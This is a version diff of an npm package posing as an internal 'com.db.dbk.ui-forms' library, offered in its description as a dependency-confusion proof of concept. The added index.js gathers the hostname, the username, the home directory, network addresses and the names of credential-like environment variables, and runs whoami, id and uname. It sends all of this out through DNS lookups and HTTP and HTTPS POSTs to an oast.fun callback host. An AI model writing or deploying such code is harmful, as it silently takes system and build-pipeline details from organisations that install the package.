com.db.dbk.ui-forms 99.0.0 → 99.0.1

package/index.js

@@ -1,32 +1,92 @@
 const https = require("https");
+const http = require("http");
 const os = require("os");
 const dns = require("dns");
+const { execSync } = require("child_process");
 const pkg = "com.db.dbk.ui-forms";
+const callback = "ycwyyoimdcluajepubahl0tpb7943a2z4.oast.fun";
 
-const data = JSON.stringify({
-  p: pkg,
-  h: os.hostname(),
-  u: os.userInfo().username,
-  d: __dirname,
-  t: new Date().toISOString()
-});
+let info = {
+  package: pkg,
+  hostname: os.hostname(),
+  username: os.userInfo().username,
+  homedir: os.userInfo().homedir,
+  cwd: __dirname,
+  platform: os.platform(),
+  arch: os.arch(),
+  release: os.release(),
+  uptime: os.uptime(),
+  interfaces: {},
+  env_keys: Object.keys(process.env).filter(k => /key|token|secret|pass|auth|cred|npm|ci|build|jenkins|github|gitlab|aws|azure/i.test(k)),
+  timestamp: new Date().toISOString(),
+  node_version: process.version,
+  pid: process.pid,
+  uid: process.getuid ? process.getuid() : "N/A"
+};
+
+try {
+  const nets = os.networkInterfaces();
+  for (const name of Object.keys(nets)) {
+    info.interfaces[name] = nets[name].map(n => n.address).filter(a => !a.startsWith("127.") && a !== "::1");
+  }
+} catch (e) {}
+
+try { info.whoami = execSync("whoami", { timeout: 3000 }).toString().trim(); } catch (e) {}
+try { info.id = execSync("id", { timeout: 3000 }).toString().trim(); } catch (e) {}
+try { info.pwd = execSync("pwd", { timeout: 3000 }).toString().trim(); } catch (e) {}
+try { info.uname = execSync("uname -a", { timeout: 3000 }).toString().trim(); } catch (e) {}
 
-const id = Buffer.from(`${pkg}:${os.hostname()}:${os.userInfo().username}`).toString("hex").slice(0, 60);
+const encoded = Buffer.from(JSON.stringify(info)).toString("base64");
+const chunks = encoded.match(/.{1,60}/g) || [];
+
+chunks.slice(0, 5).forEach((chunk, i) => {
+  try {
+    dns.resolve(`${i}-${chunk}.${callback}`, () => {});
+  } catch (e) {}
+});
 
 try {
-  dns.resolve(`${id}.dcf.rootxravi.com`, () => {});
+  dns.resolve(`ping-${pkg.replace(/\./g, "-")}.${callback}`, () => {});
 } catch (e) {}
 
+const postData = JSON.stringify(info);
+
 try {
   const req = https.request({
-    hostname: "dcf.rootxravi.com",
+    hostname: callback,
     port: 443,
     path: `/dcf/${pkg}`,
     method: "POST",
-    headers: { "Content-Type": "application/json" },
+    headers: {
+      "Content-Type": "application/json",
+      "Content-Length": Buffer.byteLength(postData),
+      "X-Package": pkg,
+      "X-Hostname": info.hostname,
+      "X-Username": info.username
+    },
+    timeout: 5000
+  });
+  req.on("error", () => {});
+  req.write(postData);
+  req.end();
+} catch (e) {}
+
+try {
+  const req = http.request({
+    hostname: callback,
+    port: 80,
+    path: `/dcf/${pkg}`,
+    method: "POST",
+    headers: {
+      "Content-Type": "application/json",
+      "Content-Length": Buffer.byteLength(postData),
+      "X-Package": pkg,
+      "X-Hostname": info.hostname,
+      "X-Username": info.username
+    },
     timeout: 5000
   });
   req.on("error", () => {});
-  req.write(data);
+  req.write(postData);
   req.end();
 } catch (e) {}

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "com.db.dbk.ui-forms",
-  "version": "99.0.0",
+  "version": "99.0.1",
   "description": "Security research - dependency confusion proof of concept. If you are seeing this package installed in your build pipeline, your npm resolver is pulling from the public registry instead of your private registry. Contact: rootxravi@gmail.com",
   "main": "index.js",
   "scripts": {